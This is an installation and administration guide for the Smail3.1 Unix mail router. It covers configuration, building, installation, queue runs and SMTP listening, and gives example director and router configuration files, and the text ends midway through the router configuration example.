Smail – Installation and Administration Guide

Ronald S. Karr <tron@uts.amdahl.com>
Landon Curt Noll <chongo@uts.amdahl.com>

Amdahl Corp.
1250 E. Arques Ave.
Sunnyvale, CA 94088-3470

ABSTRACT

Smail3.1 is a router and transport agent for mail. It receives mail messages and recipient addresses from local users and remote hosts, routes mail destined for remote hosts, performs alias and forwarding transformations on local addresses and performs delivery. **Smail** can be used in any networking environment that expects mail to conform to the DDN mail format standards; for example, the ARPAnet, CS-Net and the international UUCP network.

The mailer can be used to route mail between any number of conforming networks, and can use a variety of methods for determining the namespace on those networks and performing delivery. The three mutually orthogonal operations of aliasing, host routing and transport are all handled in a consistent manner with consistent configuration file formats and C language drivers to implement the basic capabilities.

A number of tools are included in the smail distribution which are useful in building, maintaining and displaying databases. Some of these tools operate on databases used by the mailer itself. Others are useful for users and site administrators.

This paper describes the **smail** installation procedure, the methodologies to use in constructing configurations, tools for building databases, and administration concerns that must be addressed.

November 1, 1994

Smail – Installation and Administration Guide

Ronald S. Karr <tron@uts.amdahl.com>
Landon Curt Noll <chongo@uts.amdahl.com>

Amdahl Corp.
1250 E. Arques Ave.
Sunnyvale, CA 94088-3470

1. Introduction

The **smail3.1** program and its associated utilities were developed to provide an extensible mailer that conforms to the DDN mail format standards in the ARPAnet *Request For Comment* documents RFC822, RFC920 and RFC976. It can also accept and transmit mail conforming to the transmission envelope format standard described in RFC821.

A major design goal was to provide extensibility in the methods employed for resolving local and remote addresses, and in the methods used for performing mail delivery. This extensibility is provided through drivers that provide basic services on the level of C language subroutines, and run-time configuration files which define parameters that specify how these drivers are to used. The run-time configuration files are not required, and if they do not exist then pre-loaded configurations are used. This allows many sites to operate with no run-time configuration files.

Another goal was to provide a reliable mail service that was tolerant of system crashes and capable of recovering from configuration errors. To a limited extent, smail was also designed to recover from file systems that run out of space, and from log files that cannot be opened or written to.

In addition to these and other goals, we felt that it was also important that **smail** be compatible with the external interface of the Berkeley **sendmail** program. This compatibility applies to the command line options, to as large an extent as was feasible, but does not apply to either the internal operation or the configuration file formats. Indeed the configuration files for **smail** and for **sendmail** differ not only in their format, but also in their philosophy and in what they describe. The **sendmail** configuration files describe a syntax-directed model of recipient address routing, while the **smail** configuration files describe a database model of recipient address routing, and local address matching and expansion.

2. Smail Installation Procedure

The basic procedures for installing the **Smail3.1** program and its associated utilities require that you edit a small number of compile-time configuration files, build dependencies within all of the smail makefiles, and then build all of the executables and install them. Some sites will wish to include the additional step of writing run-time configuration files, which are described in a later section.

2.1. The Source Release

When you receive a smail source release and install the sources under a directory, the following tree should exist:

README –
: A plain text file describing the release and general installation procedures and giving the addresses of useful mailing lists.

compat/ –
: A directory in which a compatibility library is generated containing functions that do not exist in your system's object libraries.

conf/ –
: A directory containing compile-time configuration files.

EDITME-dist –
A file that should be copied and edited to describe your machine and the locations in which various files can be found or should be installed.

arch/ –
A directory which contains files describing various machine architectures, such as 32-bit architectures with and without virtual memory, or 16 bit architectures with extended address spaces.

driver/ –
A directory which contains files describing various possible driver configurations. These files define specifically which director, router and transport drivers are to be included in the smail binary.

os/ – A directory which contains files describing various operating systems to which smail has been ported. To as large an extent as is reasonable, operating system dependencies are described solely within these files.

lib/ – This directory contains shell commands and miscellaneous files used from smail makefiles to digest configuration information and build dependencies.

guide/ –
A directory containing the source for the various smail guide documents.

admin/ –
This directory contains the troff source for the *Smail Administration and Installation Guide* .

history –
A file describing the history of smail releases, in terms of source reorganizations and the addition of new capabilities.

man/ –
A directory containing nroff sources for all man pages included in the **smail3.1** release.

man1/ –
Man pages for user commands.

man5/ –
Man pages describing run-time configuration file formats.

man8/ –
Man pages for administrative commands and other programs that are not intended to be run directly by users.

pd/ – A directory containing public domain sources that are used by the smail program or its associated utilities.

binmail/ –
A replacement for */bin/mail* that traps mailer requests and sends them to smail. This is for use by generic System V sites, and for other sites that are not already setup to call a mailer program. This is not normally installed.

getopt/ –
A public domain release of the System V **getopt** library function. Also included is a getopt command which implements a super-set of the System V *getopt*(1) command.

pathalias/ –
The **pathalias** program by Steve Bellovin, as told to Peter Honeyman with additional modifications suggested by Landon Noll. These sources will be used as a basis for pathalias version 10.

strlib/ –
An implementation of various string routines. These will be used for systems that do not already have these routines in an object library.

uuwho/ –
A program for viewing map entries distributed through USENET in the newsgroup **comp.mail.maps**.

src/ – The source for the smail program.

directors/ –
The sources for all director drivers distributed with smail. Director drivers handle the low level operations involved with aliasing, forwarding and the recognition of local user names.

routers/ –
The sources for all routing drivers. Routing drivers handle the low level operations of finding routes to hosts or domains and binding remote addresses to specific transports.

transports/ –
The sources for all transport drivers. Transport drivers perform the low level operations of mail delivery.

util/ – The sources for various user and administrative utilities distributed with smail.

2.2. Configuring Smail for Your System

The first step in configuring smail is to copy the file *EDITME-dist*, in the source directory *conf*, to the file *EDITME* in the same directory. As the name implies, you should then edit this file to describe your machine. This file is a shell script that is used to define variables such as what type of operating system you are using, the general class of architecture, and where particular data files and executables should reside. It is also used to describe, within a limited range, the default configuration to be used when the optional run-time configuration files do not exist.

The *EDITME* file itself contains descriptions of all of the variables that can be defined in this file. We will not attempt to duplicate all of the information here, though a few pointers may be useful.

2.2.1. Defining your Operating System

The variable OS_TYPE defines the basename of a file which should describe your operating system. Possible values for OS_TYPE are the names of files in the directory *conf/os*. If none of these files accurately describe your system, then a new file should be created by copying the file *template* to a new name and editing it as appropriate.

If you port Smail to a new machine, we would appreciate receiving any patches that were required as well as the os file describing that machine. Any reasonable contributions may be included in future releases.

2.2.2. Defining your Hostnames

There are a number of variables used to describe names for your machine. Usually, most of these variables will be left undefined, forcing smail to compute the names itself. Some variables that you may wish to change describe the domain namespaces in which your machine resides. Gateway hosts will often require more hostname information so that they can handle mail sent to the domains that they handle, rather than to a specific host within them.

The most important variable to set is DOMAINS which describes the domains under which your host resides. **Smail3.1** will use a system-dependent algorithm for determining the name for the local host, such as the *gethostname*(2) system call in a BSD operating system, or *uname*(2) under System V. The value of DOMAINS, in combination with the computed value for your machine's name, is used to form a list of fully qualified names for your host. For many sites in the UUCP zone, DOMAINS should simply be set to "uucp", while domain gateways may need to use multiple values, separated by colons, such as "uts.amdahl.com:amdahl.com:uucp". The first domain name in this list is special in that it is used in forming the primary (or *canonical*) name for your machine. This name should be unique across all accessible networks.

To understand the use of the DOMAINS variable, let's use the value that is used for the gateway machine to the domain **amdahl.com**. The machine name for this gateway is **amdahl**. Its value for DOMAINS is "uts.amdahl.com:amdahl.com:uucp". With this configuration, the primary name for the gateway is **amdahl.uts.amdahl.com** with other names being **amdahl.amdahl.com** and **amdahl.uucp.**

Additional names can be given to your machine, unrelated to the name smail computes for your host. This can be useful for gateways that wish to be recognized under the names of domains for which they are a gateway. The variable GATEWAY_NAMES should be set to this colon-separated list of alternate hostnames. As an example, the gateway host "amdahl" sets GATEWAY_NAMES to "uts.amdahl.com:amdahl.com". Thus, an address such as **Postmaster@amdahl.com** or **Postmaster@uts.amdahl.com** will reach a responsible person rather than being rejected.

As a final note on defining host names, the variable VISIBLE_NAME can be used to define the host name used in addresses referring to the local host. This name will be used by in contexts where the canonical name is not required by DDN standards and can be used to group a collection of machines under a domain. When resolving addresses, the VISIBLE_NAME string is not matched as a local hostname unless it also appears in either HOSTNAMES or GATEWAY_NAMES.

For example, most suns within the **uts.amdahl.com** domain set VISIBLE_NAME to "uts.amdahl.com". Mail originating from **chongo** on a Sun named **eek** would appear to have been sent from **chongo@uts.amdahl.com**, rather than from **chongo@eek.uts.amdahl.com**. The domain gateway knows where the user **chongo** wishes to receive his mail. Thus, replies to mail sent from **eek** will be returned directly to **chongo**'s mailbox rather than passing back through **eek**.

2.2.3. Directories for Data Files and Executables

As distributed, programs intended to be run by users will be installed under the directory */usr/local*, while programs intended to be run only from cron jobs or from other smail programs will be installed under */usr/lib/smail*. Configuration files will also be searched for under */usr/lib/smail*. In addition, spool and log files will be placed in a hierarchy under */usr/spool/smail*. These locations can be changed by setting the variables SMAIL_BIN_DIR, LIB_DIR and SPOOL_DIRS .

As the name implies, SPOOL_DIRS can contain more than one directory name. This can be used to define multiple spool directory hierarchies. When a new message comes in, an attempt is made to write it into the first hierarchy in this list. If the file cannot be written, the next hierarchy is tried, then the next and so on until the spool file is written or no more directory names exist in the list. For example, with a value of "/usr/spool/smail:/usr2/spool/smail," if the filesystem containing */usr/spool/smail* fills up or runs out of *I*-nodes, an attempt is made to write a spool file under */usr2/spool/smail* instead. Only if this second filesystem is also filled up will smail give up in trying to spool the message.

Some other path names that you may wish to change are:

SMAIL_NAME –
: the pathname used by smail utilities in executing the mailer. Normally, this will be */usr/lib/sendmail* which is where Berkeley commands and utilities expect the mailer to reside, and where many public domain programs also expect the mailer to reside.

OTHER_SMAIL_NAMES –
: miscellaneous full pathnames under which smail will be installed. */bin/rmail* should be in this list, to trap mail coming in over uucp. */bin/rsmtp* can also be in this list. When invoked under this name, batched SMTP commands will be read from standard input, allowing SMTP to be used over UUCP between cooperating hosts running smail.

NEWALIASES –
: an alternate pathname for the **mkaliases** utility, which processes an alias file for use by an *aliasfile* director. By installing it as **newaliases**, some compatibility can be maintained with the **sendmail** utility of the same name. The primary difference is that the new version is not set-uid and cannot be safely made so. Thus, users which do not have write access to the directory containing the aliases file cannot use this command.

ALIASES_FILE –

the pathname of the primary aliasing file. This is the file that is processed by the **mkaliases** utility. It is also the only alias file defined in the default smail configuration. To maintain compatibility with **sendmail** under 4.2BSD and 4.3BSD, this should be set to ‘‘/usr/lib/aliases’’. However, you may wish to have this file under LIB_DIR with the other smail configuration files. This can be done by setting it simply to ‘‘aliases’’.

2.3. Building the Smail Program and Utilities

After EDITME and other compile-time configuration files have been adjusted (see the section **Configuring Smail for Your System**) you are ready to start the build. The first step in building the smail program and utilities on your machine is to generate all of the *Makefile* dependencies. This step will allow you to modify compile-time configuration files and header files without worrying about which compilations will depend on them. This information will be stored in the Makefiles that need them. To generate these dependencies, use the command:

```
make depend
```

at the top of the smail source hierarchy. This will take a while, so you may wish to send the standard output and standard error to a file and put the command in background. This can be done in the Bourne or Korn Shell with the command:

```
make depend > mkdep.out 2>&1 &
```

In the C-shell, use the command:

```
make depend >& mkdep.out &
```

You can watch the progress of the operation with the command:

```
tail -f mkdep.out
```

When the dependencies have been built, build all of the executables with the command:

```
make
```

On an Amdahl 5890 this takes two minutes or more depending upon machine load. For other machines, this may take between a half hour and two hours.

2.4. Verifying the Smail Program

It is a good idea to verify that the smail program works before actually installation it and the utilities around it. A simple way to do this is to run some commands. To start out, try the command:

src/smail -bv -v *your-name@local-host*

Here *your-name* should be your login name on the local host, and *local-host* should be a name for the local host.

This should produce the following output:

director user matched user *your-user*
your-user ... deliverable

Next, become superuser (**root** on most UN*X machines) and try the command:

src/smail -v *your-name*

This should produce output such as:

```
make directory /usr/spool/smail
make directory /usr/spool/smail/input
new spool file is /usr/spool/smail/input/0dMgpi-000089
```

Next give a message on standard input such as:

Subject: This is a first test of Smail3.1

hi mom, please send money
.

The dot, on a line by itself, will terminate the message. Sending an end of file character will also suffice. This should produce:

make directory /usr/spool/smail/log
write_log:new msg: from *your-user*
director user matched user *your-user*
transport local uses driver appendfile
write_log:*your-user* ... delivered
make directory /usr/spool/smail/msglog

Note that smail creates any directories that it requires, if they do not already exist. You should now have mail.

If all of this worked, then there is probably nothing seriously wrong with the smail program itself.

2.5. Installing the Programs

When you are satisfied that the setup appears to be okay, try installing the programs on your machine by becoming superuser and executing the command:

make install

This will create any required directories and will copy the binaries and a small number of data files into their final locations. The installation process will create the following:

Under the LIB_DIR directory –
: **getopt**, **pathalias**, **makedb**, **arpatxt**, **mkline**, **mksort**, **dcasehost**, **mkdbm**, **mkpath**, **mkhpath**, **mkuuwho**, **pathmerge**, **checkerr**, **savelog**, **getmap**, **gleem**, and **unsharmap**. Also copied into the LIB_DIR directory are the files *mkpath.awk*, *mkuuwho.awk* and *mkpath.sed* which are used by some of the above programs, and the file *COPYING* which states your rights and responsibilities in further distribution of the smail programs.

Under the SMAIL_BIN_DIR directory –
: **uuwho** and **mkaliases**. Also, the smail binary is linked to the names **smail**, **mailq**, **pathto**, **uupath**, **runq** and **rsmtp**.

The smail binary will also be copied to whatever was named in the *EDITME* file as the SMAIL_NAME. Normally, this will be */usr/lib/sendmail*. It will also be copied to any pathnames listed in OTHER_SMAIL_NAMES, such as */bin/rmail* or */bin/rsmtp*. Also, if you defined a value for NEWALIASES in the *EDITME* file, such as */usr/local/bin/newaliases*, then the **mkaliases** program will be copied to that name.

All of the copies of the smail binary will be owned by root and have the set-uid bit set. **Smail3.1** has been designed so that it does not need to run as root, though this creates the potential for a a variety of trojan horse attacks which must be carefully handled through configuration files. It is generally easier to install smail as a setuid to root program so that the potential for trojan horse attacks is more easily managed. However **Smail3.1** is not tested running other than setuid to root, so we do not know how effectively it will run under those conditions.

The current implementation of **mkaliases** is a Bourne shell script which cannot be made secure as a setuid program. Thus, only users that can write to the directory containing the aliases file can successfully run this program. This behavior is incompatible with the **newaliases** program distributed with Berkeley's **sendmail** program. This is expected to change in a future release.

2.6. Smail Queue Runs

When messages block for some reason and smail decides that it would be best to retry deliver at a later time, messages will be left in the *input* spool directory. In order to reattempt delivery, a smail process must scan through this directory at intervals looking for work. This can either be accomplished by starting up one smail process that scans for work, sleeps for a set time period, and then scans again, or *cron* (8) can be used to start up a process to scan for work.

To startup a single smail process that scans for work at intervals, execute the following command from your machine's */etc/rc* file:

```
/usr/lib/sendmail −q20m
```

This will scan for work every twenty minutes. To scan for work once per hour use an argument of **−q1h** instead. This command will automatically put itself in background, so you do not need to use an ampersand after the command.

To execute smail periodically from cron, use a line such as:

```
0,20,40 * * * * /usr/lib/sendmail -q
```

Each invocation of smail with this command will perform exactly one scan through the *input* spool directory, which will be done in foreground.

Systems using the **System V** cron program can safely put this in the crontab file for **root**, or in any other crontab file. Sites running the 4.3BSD version of cron can put a line in */usr/lib/crontab* such as:

```
0,20,40 * * * * root /usr/lib/sendmail -q
```

2.7. Listening for SMTP Requests

If your site supports Berkeley networking, then you can use smail to process interactive SMTP requests. This can be done either from a non-exiting smail daemon, or from the 4.3BSD or Sun *inet* daemon. The decision as to whether to use a smail daemon, or the inet daemon depends upon how much mail passes through your site and whether or not you can always spare 300K of virtual memory.

To invoke a smail daemon at system boot time, execute the following command from */etc/rc*:

```
/usr/lib/sendmail −bd
```

This can be combined with the **−q** flag described in the previous section, so executing the command:

```
/usr/lib/sendmail −bd −q20m
```

will handle listening for SMTP connection requests and the processing of the *input* directory at intervals.

To invoke smail from the 4.3BSD or later versions of System V or SunOS *inetd* program, put the following line in */etc/inetd.conf*:

```
smtp  stream    tcp   nowait    root  /usr/local/smtpd smtpd
```

If *smtpd* was installed in a different directory, use whatever is appropriate in place of */usr/local/smtpd*. To invoke smail from the SunOS (version 3.5 or earlier) *inetd* program, put the following line in */etc/servers*:

```
smtp  tcp   /usr/local/smtpd
```

If you have some other form of networking connection that can be used to create a bi-directional interactive connection, you can use the *smtpd* program, or the command */usr/lib/sendmail -bs* to receive SMTP requests over that bi-directional connection.

2.8. Cleaning Up After Smail

Smail creates log files. If log files are not truncated in a reasonable manner, then they will eventually fill up all available space. To handle log file truncation, a shell script, *savelog* is provided to cycle a log through a set of files, where no more than a set number of files are kept. As an example, the command:

/usr/lib/smail/savelog /usr/spool/smail/log/logfile

will rename the smail log file to */usr/spool/smail/log/OLD/logfile.1* . If this file already exists, it will be renamed to *logfile.2* before the original logfile is renamed, and so on up to *logfile.7* . Whenever *logfile.6* is renamed to *logfile.7* , this last file is simply removed.

If the *compress* program is available, then *logfile.2* through *logfile.7* are kept in a compressed form with an extension of *.Z* . Different compression programs may also be used, generating logfiles with different extensions.

Running the above savelog command from cron once per day will thus keep the last seven days worth of logfile data, much of it in a compressed form.

Occasionally, smail will run into a problem that requires the attention of a mail administrator. An example of this is an error in the configuration files. Rather than continually retrying a message and continually failing, messages are moved into an *error* directory under the spool directory hierarchy. The utility **checkerr** can be called from cron to check up on this directory at intervals, and send a report on newly failed messages to the address **Postmaster**. This script should be run periodically, perhaps once per day, under a user that can write to the *error* spool directory. Normally, this requires that it run as root, though the *chown* (1) command can be used to assign this directory to an alternate user.

3. Setting up Run-time Configuration Files

The **smail3.1** binary is preloaded with a complete configuration and needs no run-time configuration files. This preloaded configuration file is tunable over a small range through the *EDITME* file, and should be sufficient for many sites. However, if this configuration is not sufficient for your site, or if you wish to define a router that uses *method* files, then you can write run-time configuration files to adapt smail to fit your needs.

3.1. Types of Run-time Configuration Files

There are five types of run-time configuration files:

- one or two **config** files, used to set values for a variety of smail variables,
- a **directors** file, describing the rules for resolving local addresses,
- a **routers** file, describing the rules for resolving remote addresses,
- a **transports** file, describing the possible methods for performing delivery,
- zero or more **method** files, which match hosts to transports.
- and a **retry** file, which modifies the retry and timeout behaviour of smail.

The following sections give overviews of the formats of these files, with examples of their use. For a complete format description see the man page *smail* (5).

3.1.1. Config Files

Any machine may have a primary and a secondary **config** file which redefines the values for a number of smail variables. These files can be used to define names for the localhost, define where files reside, setup the values for site-definable message header fields and more. Values set in the primary config file override values predefined in the smail binary. Values set in the secondary config file override values defined in the smail binary or in the primary configuration file. Also, the name of the secondary config file can be redefined in the primary configuration file.

The capability for having two such files is useful in networked environments with distributed filesystems. For example, on the Sun network at Amdahl Corp., we define the name of the primary configuration file to be */usr/local/lib/smail/config* which is found on our fileservers. This file is maintained by the group that maintains the mailers running on all of the Suns. The primary configuration file defines a secondary configuration file named */private/usr/lib/smail/config* . If such a file exists on a given workstation, it can be used to redefine the mailer behavior on that workstation without requiring different binaries.

Because this second configuration file can redefine the paths to any other configuration file or directory, any aspect of the mailer behavior can be changed. Thus, a gateway machine can use the same primary config file, director file and transport file as the other suns while using its own private router file. In addition, a machine on which a new delivery agent is being tested can define a private config file that points to its own router and transport files.

The format for either config file consists of text records that set a variable equal to some value. To set a variable to a string or numeric value, use the form:

variable = *value*

For example, the file

```
postmaster = tron@glotz.uucp
domains = wall.com
spool_mode = 0664
```

sets the default address for the postmaster to ‘‘tron@glotz.uucp’’, sets the run-time equivalent of the EDITME variable DOMAINS to ‘‘wall.com’’ and sets the permission mode for spool files to allow the file owner and group to write it.

Boolean attributes can be set using the notation:

+*boolean-variable*

and can be reset using the notation:

−*boolean-variable*

The ‘‘−*variable*’’ notation can also be used to set a numeric variable to zero and to unset a value for a string variable. For example, the following config file disables the use of an external transport file and tells smail that configuration files are not optional:

```
−transport_file
+require_configs
```

Comments using the shell ‘#’ notation and blank lines are allowed in config files. In addition, records can be extended by including white space at the beginning of successive lines. For example, the following config file sets the **Received:** header field to use for messages to a multi-line value and sets the name of a user that has few access capabilities:

```
# Use a verbose format for the Received: header field
received_field = "Received: by $primary_name
        with smail ($version_string)
        id <$message_id@$primary_name); $date"
nobody = unknown                    # unknown has few access capabilities
```

The complete list of variables that can be set in the config files is described in the man page *smail* (5).

3.1.2. Directors, routers and Transports Files

The **directors**, **routers** and **transports** files all have the same format. These files describe entries in a table where each entry describes the attributes for one director, router or transport. The order of entries in the director and router files is import, in that directors and routers are called in the order stated in the table. The order of entries in the transport file is not important.

An entry in one of these files defines:

- a name by which that entry is known.
- a driver which implements the function for that entry.
- a set of *generic* attributes from a set that can be applied to any entry in the file.

- a set of *driver-specific* attributes, from a set that can be applied only to entries that use the specified driver.

As an example, the director file entry below specifies the attributes for a director that reads aliases from a file */private/usr/lib/aliases*:

```
# read aliases from a file private to one machine on the network
private_aliases:
        driver=aliasfile, owner=owner−$user ;
        file=/private/usr/lib/aliases
```

This entry is named *private_aliases*, and depends upon the low-level director driver routine named *aliasfile*. Errors found while processing addresses found by this director are sent to an address formed by prepending “owner−” to the name of the alias, and these the aliases are stored in the file */private/usr/lib/aliases*. The *aliasfile* director driver implements a general mechanism for looking up aliases stored in a database. By default, this database is simply a file containing ASCII records in no particular order. The file */private/usr/lib/aliases* could contain:

```
# tron is the postmaster for this particular machine
Postmaster: tron

# list the users that are likely to use futatsu frequently
Futatsu-Users:
        tron,                   # Ronald S. Karr
        chongo,                 # Landon Curt Noll
        deleanu                 # Jay Deleanu
```

Notice that, as with other configuration files, an alias can be extended across multiple lines by beginning successive lines with whitespace.

The separation between *generic* attributes and *driver-specific* attributes mirrors the internal design of **smail3.1**. Above the driver level, there exist routines that implement aspects of drivers, routers and transports that do not depend upon the specific means for performing the operation. These higher-level functions can be manipulated through the *generic* attributes. On the other hand, the drivers that actually perform these operations accept a different set of attributes to control their behavior. In the case of a driver thats read or writes to a file, a **file** attribute usually exists. In the case of a driver that executes a program a **cmd** attribute usually exists to specify how that program is to be invoked.

The complete description of the director, router and transport files is contained in the *smail*(5) man page. Included in the man page is a description for all of the drivers that are included in the **smail3.1** source distribution. The following sections describe the preloaded configuration. To serve as examples, these sections include configuration files which are the equivalent of the preloaded configuration.

3.2. The Preloaded Configuration

In order to gain a better understanding of how configuration files can be used to change the behavior of smail, it is useful to know what smail will do if run-time configuration files were not used. This behavior is defined in the preloaded configuration which is in the source file *src/default.c*.

The preloaded configuration currently comes in two flavors: one flavor is for systems that have Berkeley-style networking with TCP/IP, the other flavor is for sites that do not have such networking. The difference between the two is that a networking configuration defines two extra routers to match network hosts by name or by internet address. Also, one extra transport is defined to deliver using SMTP over a TCP/IP connection to a network host.

3.2.1. The Preloaded Director Configuration

If a *directors* configuration file is not found at run-time, then the default pre-loaded configuration is used. The default director configuration supports the following directors:

aliasinclude and forwardinclude –

For local addresses of the form **:include:filename** these addresses will be expanded into a list of addresses contained in the given ASCII file. The files to which these addresses refer are called *mailing list* files. This form of local address can come from any alias file, forward file or mailing list file. Users cannot supply such addresses themselves.

aliases –
: This director scans for entries in an alias database. The name of this database, and the method by which this file is searched can be changed in the *EDITME* file. As distributed, aliases are taken from the file */usr/lib/aliases*, which is an unsorted ASCII text file. This alias file is optional, and is ignored if it does not exist. Any errors found while resolving addresses produced by an alias are mailed to an address with the string "owner–" prepended to the name of the alias, if such a local address is defined.

dotforward –
: A user may have a file named *.forward* in his or her home directory. If such a file exists it will be scanned for addresses. Any mail to a user that has such a file will be redirected to the addresses contained within it. The file can contain addresses which specify files or shell commands as recipients. If the forward file is owned by root or by the user himself, then deliveries to any shell commands or files are performed under the user's user and group id. Any errors found while resolving this list of addresses are mailed to the Postmaster. In a forward file for the user *root*, deliveries to shell command and file addresses are performed under an unprivileged user and group ID. The same is true in the case of forward files that were not owned by root or by the given user. Finally, shell command and file addresses are not allowed at all in forward files that are in remotely accessible directories.

forwardto –
: The mailbox file for a user may contain a line of the form

    Forward to *address*, *address* ...

  as an alternate method for a user to forward his mail. Only one line is read from this file so addresses cannot be placed across multiple lines. The comments that apply to a *forward* file also apply to this use of a mailbox file, except that it is assumed that a mailbox file is not in a remotely accessible directory.

user – A user is matched by name, either in upper or lower case, with delivery to that user being performed using a transport by the name of "local". A user can also be matched by name if the username is prefixed by "real–". Delivery is performed by a transport named "local".

lists – Mailing list files can be created under a mailing list directory. This is a directory named *lists* under the directory containing smail utilities and configuration files (typically */usr/lib/smail*). A new mailing list can be creating by making a file in this directory which contains a list of addresses. The basename of this file determines the local address which will be expanded to this list of addresses. For example, a file named *info-smail* could be created with a list of recipient addresses for the "info-smail" mailing list. Errors in delivering to this list of addresses are mailed to a local address with the name "owner–" prepended to the basename of the file, if such an address is defined.

smart_user –
: If a local address is not matched by any other means, mail to that address can be sent to another machine using the **smartuser** director. The address to which this mail is redirected can be defined in a *config* file by setting the variable **smart_user**. For example, the following config file line could be used to redirect mail to the host amdahl.uts.amdahl.com:

    smart_user = $user@amdahl.uts.amdahl.com

  If this variable is not set, then the **smart_user** director is ignored.

The order of entries in the director file determines the order in which operations are attempted. If a director matches an address then no other directors are called attempted to expand or resolve that address. A director file which is equivalent to the preloaded configuration is:

```
# aliasinclude – expand ":include:filename" addresses
#       produced by alias files
aliasinclude:
        driver = aliasinclude,          # use this special-case driver
        nobody;                         # associate nobody user with addresses
                                        #  when mild permission violations
                                        #  are encountered
        copysecure,                     # get permissions from alias director
        copyowners                      # get owners from alias director

# forwardinclude – expand ":include:filename" addresses
#       produced by forward files
forwardinclude:
        driver = forwardinclude,        # use this special-case driver
        nobody;
        copysecure,                     # get perms from forwarding director
        copyowners                      # get owners from forwarding director

# aliases – search for alias expansions stored in a database
aliases:
        driver = aliasfile,             # general-purpose aliasing director
        –nobody,                        # all addresses are associated
                                        # with nobody by default, so setting
                                        # this is not useful.
        owner = owner–$user;            # problems go to an owner address
        file = /usr/lib/aliases,
        modemask = 002,
        optional,                       # ignore if file does not exist
        proto = lsearch

# dotforward – expand .forward files in user home directories
dotforward:
        driver = forwardfile,           # general-purpose forwarding director
        owner = Postmaster,             # problems go to the user's mailbox
        nobody,
        sender_okay;                    # sender never removed from expansion
        file = ~/.forward,              # .forward file in home directories
        checkowner,                     # the user can own this file
        owners = root,                  # or root can own the file
        modemask = 002,                 # it should not be globally writable
        caution = daemon:root,          # don't run things as root or daemon
        # be extra careful of remotely accessible home directories
        unsecure = "~ftp:~uucp:~nuucp:/tmp:/usr/tmp"
```

```
# forwardto – expand a "Forward to " in user mailbox files
#
# This emulates the V6/V7/System-V forwarding mechanism which uses a
# line of forward addresses stored at the beginning of user mailbox
# files prefixed with the string "Forward to "
forwardto:
        driver = forwardfile,
        owner = Postmaster, nobody, sender_okay;

        file = /usr/mail/${lc:user}, # the mailbox file for System V
        forwardto,                   # enable "Forward to " function
        checkowner,                  # the user can own this file
        owners = root,               # or root can own the file
        modemask = 0002,             # under System V, group mail can write
        caution = daemon:root        # don't run things as root or daemon

# user – match users on the local host with delivery to their mailboxes
user:   driver = user;               # driver to match usernames

        transport = local            # local transport goes to mailboxes

# real_user – match usernames when prefixed with the string "real–"
#
# This is useful for allowing an address which explicitly delivers to
# a user's mailbox file.  For example, errors in a .forward file
# expansion can be delivered here, or forwarding loops between
# multiple machines can be resolved by using a real-username address.
real_user:
        driver = user;

        transport = local,
        prefix = "real–"             # for example, match real-root

# lists – expand mailing lists stored in a list directory
#
# mailing lists can be created simply by creating a file in the
# /usr/lib/smail/lists directory.
lists:  driver = forwardfile,
        caution,                     # flag all addresses with caution
        nobody,                      # and then associate the nobody user
        owner = owner–$user;         # system V sites may wish to use
                                     # o–$user, as owner–$user may be
                                     # too long for a 14-char filename.

        # map the name of the mailing list to lower case
        file = lists/${lc:user}
```

```
# smart_user – a partially specified smartuser director
#
# If the config file attribute smart_user is defined as a string such
# as "$user@domain-gateway" then users not matched otherwise will be
# sent off to the host "domain-gateway".
#
# If the smart_user attribute is not defined, this director is ignored.
smart_user:
        driver = smartuser;                 # special-case driver

        # do not match addresses which cannot be made into valid
        # RFC822 local addresses without the use of double quotes.
        well_formed_only
```

3.2.2. The Preloaded Router Configuration

If a *routers* configuration file is not found at run-time, then the default pre-loaded configuration is used. The default router configuration supports the following routers:

inet_addrs –
: This router will match hosts specified as internet addresses enclosed in square brackets. Delivery to such hosts is always performed using the **smtp** transport (described in a later section). Any hostname with square brackets that does not match the form of an internet address will be considered an error. An example of an internet address is **[192.2.12.142]**. This router is only available on machines that support BSD compatible networking facilities.

inet_hosts –
: This will match internet hostnames that can be matched through the *gethostbyname* (3N) library routine. Often this library function will match any host in the file */etc/hosts*. Deliveries to hosts matched with this router are always performed using the **smtp** transport (described in a later section). This router is only available on machines that support BSD compatible networking facilities.

paths –
: A path database is used to match hosts for which routes are known. Normally, this path database is stored in the file */usr/lib/smail/paths*. Often this database will be generated from map files distributed over the USENET newsgroup **comp.mail.maps**, though path databases can also be created through other means. A paths database associates a path with specific hostname or domain. A path is defined as a set of hostnames separated by single exclamation points ('!'), with the last host being followed by the string '%s'. An example of a simple path database is a file containing:

```
.curds.org   curds-vax!%s
.whey.edu    foo!whey-3b20!%s
bar          foo!bar!%s
foo          foo!%s
```

Each path in this database specifies the sequence of hosts, from first to last, through which a mail message must pass to reach the host specified on the left-hand-side. For more information on path databases see *pathalias* (8) and *mkpath* (8). Depending upon the configuration specified in the *EDITME* configuration file, this path file may need to be sorted, or it may be stored in a database created with the *dbm* (3X) library routines (see *mkdbm* (8) for information on how to create these databases). Delivery to hosts matched with this router is performed using the **uux** transport, which is described in a later section.

uucp_neighbors –
: The program */usr/bin/uuname* is used to obtain a list of sites that the local host communicates with over UUCP (see *uucp* (1)). This router compares hostnames against this list and causes delivery to be performed using the **uux** transport whenever a match is found.

smart_host –

If a hostname is not matched by any other means, mail to that host can be sent to another machine using the **smarthost** router. The path through which this mail is redirected can be defined in a *config* file by setting the variable **smart_path**. For example, the following config file line could be used to redirect mail to the neighboring host *amdahl*:

```
smart_path = amdahl
```

If this variable is not set, then the **smart_user** director is ignored. Delivery is performed using the transport named in the *config* file variable **smart_transport**. If this variable is not set then the **uux** transport is used.

The order of entries in the router file determines the order in which operations are attempted. If a router matches a hostname completely, then no other operations are attempted to resolve that host. If a router matches a host partially, as a domain in the right-hand side of the hostname, then subsequent routers may also find routes. The router which finds the best match, based on number of characters matched, wins. In the case of a tie, the router earliest in the router file wins. A router file which is equivalent to the preloaded configuration file is:

```
# inet_addrs and inet_hosts are only defined when BSD networking
# exists

# inet_addrs – match domain literals containing literal IP addresses
#
# For example, [128.103.1.1] will match harvard.harvard.edu on the
# internet.  The library routine gethostbyaddr(3N) will be called to
# see if a reverse mapping to the canonical hostname is available.
inet_addrs:
        driver = gethostbyaddr,         # router to match IP domain literals
        transport = smtp;               # deliver using SMTP over TCP/IP

        fail_if_error,                  # fail malformed domain literal addrs
        check_for_local                 # see if this is really the local host

# inet_hosts – match hostnames with gethostbyname(3N)
inet_hosts:
        driver = gethostbyname,         # match hosts with the library function
        transport = smtp

# paths – route using a paths file, like that produced by the
#       pathalias program
paths:  driver = pathalias,             # general-use paths router
        transport = uux;                # for matches, deliver over UUCP

